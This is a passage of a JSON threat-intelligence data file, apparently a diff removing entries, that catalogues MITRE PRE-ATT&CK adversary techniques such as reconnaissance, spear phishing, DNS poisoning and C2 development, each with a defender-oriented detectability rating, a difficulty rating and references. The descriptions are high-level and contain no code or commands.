Most DMZs are monitored but are also designed so that if they are compromised, the damage/risk is limited.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: DMZ environments are specifically designed to be isolated because one assumes they will ultimately be compromised by the adversary.", - "value": "Compromise of externally facing system - PRE-T1165", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1165" - ] - }, - "uuid": "4aeafdb3-eb0b-4e8e-b93f-95cd499088b4" - }, - { - "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No", - "value": "Identify supply chains - PRE-T1023", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1023" - ] - }, - "uuid": "78e41091-d10d-4001-b202-89612892b6ff" - }, - { - "description": "Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Strong physical security and monitoring will detect this behavior if performed on premises.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Not difficult if waste is placed in an unsecured or minimally secured area before collection.", - "value": "Dumpster dive - PRE-T1063", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1063" - ] - }, - "uuid": "6c79d654-6506-4f33-b48f-c80babdcc52d" - }, - { - "description": "For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Open access to DNS registration/routing information is inherent in Internet architecture.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proliferation of DNS information makes registration information functionally freely available.", - "value": "Obtain domain/IP registration information - PRE-T1028", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1028" - ] - }, - "uuid": "46017368-6e09-412b-a29c-385be201cc03" - }, - { - "description": "Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Exception to the rule is if the adversary tips off the target that others have been asking about the relationship with them.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires an intensive process. In some industries, business relationships may be public in order to generate business, but this is not the case for all industries and all relationships.", - "value": "Identify business relationships - PRE-T1060", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1060" - ] - }, - "uuid": "73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a" - }, - { - "description": "Anonymity services reduce the amount of information available that can be used to track an adversary's activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Depends on service. Some are easy to detect, but are hard to trace (e.g., [https://torproject.org TOR]).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy access to anonymizers, quasi-anonymous services like remailers, [https://torproject.org TOR], relays, burner phones, etc.", - "value": "Anonymity services - PRE-T1083", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1083" - ] - }, - "uuid": "d3dca536-8bf0-4e43-97c1-44a2353c3d69" - }, - { - "description": "Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: C2 over commonly used and permitted protocols provides the necessary cover and access.", - "value": "C2 protocol development - PRE-T1129", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1129" - ] - }, - "uuid": "8e211ec9-5dfc-4915-aff4-84d5908f0336" - }, - { - "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([https://www.facebook.com Facebook], [https://www.linkedin.com LinkedIn], [https://twitter.com Twitter], [https://plus.google.com Google+], etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Performing activities like typical users, but with specific intent in mind.", - "value": "Build social network persona - PRE-T1118", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1118" - ] - }, - "uuid": "9108e212-1c94-4f8d-be76-1aad9b4c86a4" - }, - { - "description": "Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", - "value": "Task requirements - PRE-T1017", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1017" - ] - }, - "uuid": "b93bd611-da4e-4c84-a40f-325b712bed67" - }, - { - "description": "Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proliferation of DNS TLDs and registrars. Adversary may choose domains that are similar to legitimate domains (aka \"domain typosquatting\" or homoglyphs).", - "value": "Buy domain name - PRE-T1105", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1105" - ] - }, - "uuid": "45242287-2964-4a3e-9373-159fad4d8195" - }, - { - "description": "Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Physical observations, OSINT for remote access instructions, and other techniques are not detectable.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Determine if users work offsite, connect remotely, or other possibly less restricted/secured access techniques.", - "value": "Identify technology usage patterns - PRE-T1041", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1041" - ] - }, - "uuid": "194bff4f-c218-40df-bea3-1ace715de8dd" - }, - { - "description": "Business relationship information includes the associates of a target and may be discovered via social media sites such as [https://www.linkedin.com LinkedIn] or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender. Much of this information is widely known and difficult to obscure.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Made easier by today's current social media.", - "value": "Identify business relationships - PRE-T1049", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1049" - ] - }, - "uuid": "5b6ce031-bb86-407a-9984-2b9700ac4549" - }, - { - "description": "Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to \"identify attacks that require connection to a server and dynamic downloading of code\" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android.", - "value": "Runtime code download and execution - PRE-T1172", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1172" - ] - }, - "uuid": "41086474-e6de-4fac-bb69-640db7fdf3d2" - }, - { - "description": "Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", - "value": "Assess current holdings, needs, and wants - PRE-T1013", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1013" - ] - }, - "uuid": "8e927b19-04a6-4aaa-a42f-4f0a53411d27" - }, - { - "description": "Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary may download templates or branding from publicly available presentations that the defender can't monitor.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Some branding information is publicly available when a corporation publishes their briefings to the internet which provides insight into branding information and template materials. An exhaustive list of templating and branding is likely not available on the internet.", - "value": "Obtain templates/branding materials - PRE-T1058", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1058" - ] - }, - "uuid": "68b45999-bb0c-4829-bbd0-75d6dac57c94" - }, - { - "description": "Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know at first use what is valid or hostile traffic without more context. It is possible, however, for defenders to see if the PTR record for an address is hosted by a known DDNS provider. There is potential to assign some level of risk based on this.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Flexible and re-configurable command and control servers, along with deniable ownership and reduced cost of ownership.", - "value": "Dynamic DNS - PRE-T1088", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1088" - ] - }, - "uuid": "20a66013-8dab-4ca3-a67d-766c842c561c" - }, - { - "description": "Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defenders can implement mechanisms to analyze links and identify levels of concerns. However, the adversary has the advantage of creating new links or finding ways to obfuscate the link so that common detection lists can not identify it. Detection of a malicious link could be identified once the file has been downloaded.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending emails is trivial and expected. The adversary needs to ensure links don't get tampered, removed, or flagged as a previously black-listed site.", - "value": "Spear phishing messages with malicious links - PRE-T1146", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1146" - ] - }, - "uuid": "489a7797-01c3-4706-8cd1-ec56a9db3adc" - }, - { - "description": "During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The number of elements and components in a supply chain of HW or SW is vast and detecting an implant is complex for SW, but more complex for HW.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Access to the supply chain by an adversary can be a challenging endeavor, depending on what element is attempting to be subverted.", - "value": "Hardware or software supply chain implant - PRE-T1142", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1142" - ] - }, - "uuid": "388f3a5c-2cdd-466c-9159-b507fa429fcd" - }, - { - "description": "The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", - "value": "Determine secondary level tactical element - PRE-T1021", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1021" - ] - }, - "uuid": "b9148981-152a-4a19-95c1-962803f5c9af" - }, - { - "description": "An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).", - "value": "Upload, install, and configure software/tools - PRE-T1139", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1139" - ] - }, - "uuid": "e8471f43-2742-4fd7-9af7-8ed1330ada37" - }, - { - "description": "Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", - "value": "Assign KITs/KIQs into categories - PRE-T1005", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1005" - ] - }, - "uuid": "a86a21a4-6304-4df3-aa6d-08114c47d48f" - }, - { - "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyze technical scanning results to identify weaknesses in the configuration or architecture. Many of the common tools highlight these weakness automatically (e.g., software security scanning tools or published vulnerabilities about commonly used libraries).", - "value": "Analyze application security posture - PRE-T1070", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1070" - ] - }, - "uuid": "fe421ab9-c8f3-42f7-9ae1-5d6c324cc925" - }, - { - "description": "Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not. Increased use of encrypted communications increases the difficulty average defender's have in detecting use of this technique.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending messages to individuals identified as a target follows normal tradecraft for using social media.", - "value": "Targeted social media phishing - PRE-T1143", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1143" - ] - }, - "uuid": "eb517589-eefc-480e-b8e3-7a8b1066f6f1" - }, - { - "description": "The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Starting in iOS 9, Apple has changed the user interface when installing apps to better indicate to users the potential implications of installing apps signed by an enterprise distribution key rather than from Apple's App Store and to make it more difficult for users to inadvertently install these apps. Additionally, enterprise management controls are available that can be imposed to prevent installing these apps. Also, enterprise mobility management / mobile device management (EMM/MDM) systems can be used to scan for the presence of undesired apps on enterprise mobile devices.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Apple requires a DUNS number, corporate documentation, and $299 to obtain an enterprise distribution certificate. Additionally, Apple revokes certificates if they discover malicious use. However, the enrollment information could be falsified to Apple by an adversary, or an adversary could steal an existing enterprise distribution certificate (and the corresponding private key) from a business that already possesses one.", - "value": "Obtain Apple iOS enterprise distribution key pair and certificate - PRE-T1169", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1169" - ] - }, - "uuid": "d58f3996-e293-4f69-a2c8-0e1851cb8297" - }, - { - "description": "Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The data is passive in nature or not controlled by the defender, so it is hard to identify when an adversary is getting or analyzing the data.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Based on what the 3rd party infrastructure is, there are many tell tail signs which indicate it is hosted by a 3rd party, such as ASN data, MX or CNAME pointers or IP addresses", - "value": "Determine 3rd party infrastructure services - PRE-T1037", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1037" - ] - }, - "uuid": "856a9371-4f0f-4ea9-946e-f3144204240f" - }, - { - "description": "As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Recruitment is, by its nature, either clandestine or off the record.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Like target organizations, adversary organizations are competing to identify and hire top technical talent. Training less technical staff is also a viable option.", - "value": "Identify resources required to build capabilities - PRE-T1125", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1125" - ] - }, - "uuid": "c9fb4451-729d-4771-b205-52c1829f949c" - }, - { - "description": "A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Users have the ability to detect and report non-authenticated individuals requesting to follow, friend or connect to a target. However the rigidity in validating the users is not typically followed by standard users.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Connecting with \"friends\" is a fundamental requirement for social media - without it, social media is worthless. An adversary can easily create a profile and request targets to validate the requests.", - "value": "Friend/Follow/Connect to targets of interest - PRE-T1141", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1141" - ] - }, - "uuid": "eacd1efe-ee30-4b03-b58f-5b3b1adfe45d" - }, - { - "description": "Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.", - "value": "Create infected removable media - PRE-T1132", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1132" - ] - }, - "uuid": "eacadff4-164b-451c-bacc-7b29ebfd0c3f" - }, - { - "description": "DNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective. Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource.", - "value": "DNS poisoning - PRE-T1159", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1159" - ] - }, - "uuid": "76c9e8cb-52e1-4ddc-80d4-5f7231842e06" - }, - { - "description": "An adversary can attempt to identify web defensive services as [https://www.cloudflare.com/ CloudFlare], [https://github.com/jjxtra/Windows-IP-Ban-Service IPBan], and [https://www.snort.org/ Snort]. This may be done by passively detecting services, like [https://www.cloudflare.com/ CloudFlare] routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Active service detection may trigger an alert. Passive service enumeration is not detected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary can passively detect services (e.g., [https://www.cloudflare.com/ CloudFlare] routing) or actively detect services (e.g., by purposefully tripping security defenses)", - "value": "Identify web defensive services - PRE-T1033", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1033" - ] - }, - "uuid": "288b3cc3-f4da-4250-ab8c-d8b5dbed94ca" - }, - { - "description": "An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many of the common tools highlight these weakness automatically.", - "value": "Analyze architecture and configuration posture - PRE-T1065", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1065" - ] - }, - "uuid": "87775365-2081-4b6e-99bd-48a3b8f36563" - }, - { - "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: 3rd party services highly leveraged by legitimate services, hard to distinguish from background noise. While an adversary can use their own infrastructure, most know this is a sure- re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc.", - "value": "Acquire and/or use 3rd party infrastructure services - PRE-T1084", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1084" - ] - }, - "uuid": "286cc500-4291-45c2-99a1-e760db176402" - }, - { - "description": "The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", - "value": "Determine approach/attack vector - PRE-T1022", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1022" - ] - }, - "uuid": "d45fe3c2-0688-43b9-ac07-7eb86f575e93" - }, - { - "description": "If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires in-depth research and potentially other intrusions, requires unbounded amount of work to possibly find a return on investment", - "value": "Research visibility gap of security vendors - PRE-T1067", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1067" - ] - }, - "uuid": "b26babc7-9127-4bd5-9750-5e49748c9be3" - }, - { - "description": "Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Social engineering and other attempts to learn about business practices and processes would not immediately be associated with an impending cyber event.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: To get any kind of fidelity into business processes would require insider access. Basic processes could be mapped, but understanding where in the organization these processes take place and who to target during any given phase of the process would generally be difficult.", - "value": "Analyze business processes - PRE-T1078", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1078" - ] - }, - "uuid": "57619ab3-f6a5-43c8-8dd1-b0b8a986a870" - }, - { - "description": "Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Physical security is often unaware of implications of physical access to network. However, some organizations have thorough physical security measures that would log and report attempted incursions, perimeter breaches, unusual RF at a site, etc.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Social engineering and OSINT are still generally successful. Physical locations of offices/sites are easily determined. Monitoring for other sites of interest, such as backup storage vendors, is also easy to accomplish.", - "value": "Assess security posture of physical locations - PRE-T1079", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1079" - ] - }, - "uuid": "31a57c70-6709-4d06-a473-c3df1f74c1d4" - }, - { - "description": "Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Purchase of booster services is not observable; potentially can trace booster service used to origin of sale, yet not before attack is executed. Furthermore, subscription does not automatically mean foul intention.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easily accessible and used to launch DDoS attacks by even novice Internet users, and can be purchased from providers for a nominal fee, some of which even accept credit cards and PayPal payments to do.", - "value": "Obtain booter/stressor subscription - PRE-T1173", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1173" - ] - }, - "uuid": "3d1488a6-59e6-455a-8b80-78b53edc33fe" - }, - { - "description": "An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many of the common tools highlight these weaknesses automatically. Adversary can \"dry run\" against the target using known exploits or burner devices to determine key identifiers of software, hardware, and services.", - "value": "Analyze data collected - PRE-T1064", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1064" - ] - }, - "uuid": "773950e1-090c-488b-a480-9ff236312e31" - }, - { - "description": "Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing a site to determine the languages/technologies used. If active scanning tools are employed, then the defender has the ability to detect. However, this is typically not acted upon due to the large volume of this type of traffic and it will likely not prompt the defender to take any actionable defense. Defender review of access logs may provide some insight based on trends or patterns.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Basic interaction with the site provides insight into the programming languages/technologies used for a given web site. Additionally many of the active scanning tools will also provide some insight into this information.", - "value": "Enumerate externally facing software applications technologies, languages, and dependencies - PRE-T1038", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1038" - ] - }, - "uuid": "ef6197fd-a58a-4006-bfd6-1d7765d8409d" - }, - { - "description": "Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", - "value": "Generate analyst intelligence requirements - PRE-T1011", - "meta": { - "refs": [ - 